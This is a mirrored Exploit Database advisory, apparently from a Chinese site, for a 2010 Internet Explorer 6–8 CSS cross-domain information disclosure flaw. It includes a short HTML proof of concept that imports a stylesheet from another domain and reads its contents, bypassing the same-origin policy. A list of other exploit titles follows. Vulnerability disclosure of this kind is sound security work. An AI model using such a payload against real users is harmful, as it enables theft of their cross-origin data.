Microsoft Internet Explorer 7/8 – CSS Handling Cross Domain Information Disclosure

Exploit Database
121 阅读

作者： Chris Evans

日期： 2010-09-06
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/34602/

source: https://www.securityfocus.com/bid/42993/info

Microsoft Internet Explorer is prone to a cross-domain information-disclosure vulnerability because the application fails to enforce the same-origin policy.

An attacker can exploit this issue by enticing an unsuspecting user into viewing a page containing malicious content.

Successful exploits will allow attackers to bypass the same-origin policy and obtain potentially sensitive information; other attacks are possible.

This issue affects Internet Explorer 6, 7, and 8.

<html> <head> <style> @import url("http://www.example.com/hi_heige"); </style> <script> function loaded() { alert(document.styleSheets(0).imports(0).cssText); } </script> </head> <body onload="loaded()"> </body> </html>

last Exploits
Microsoft Internet Explorer 7/8 – CSS Handling Cross Domain Information Disclosure的更多信息

Adobe Flash TextField.setFormat – Use-After-Free：
LAME 3.99.5 – ‘II_step_one’ Buffer Overflow：
Real-DRAW PRO 5.2.4 – Import File Crash：
Microsoft DirectWrite / AFDKO – Stack Corruption in OpenType Font Handling due to Out-of-Bounds cubeStackDepth：
Mozilla Firefox CSS – font-face Remote Code Execution：
libjpeg-turbo 1.5.1 – Denial of Service：
Spytech NetVizor 6.1 – ‘services.exe’ Denial of Service：
Google Chrome < M73 - FileSystemOperationRunner Use-After-Free：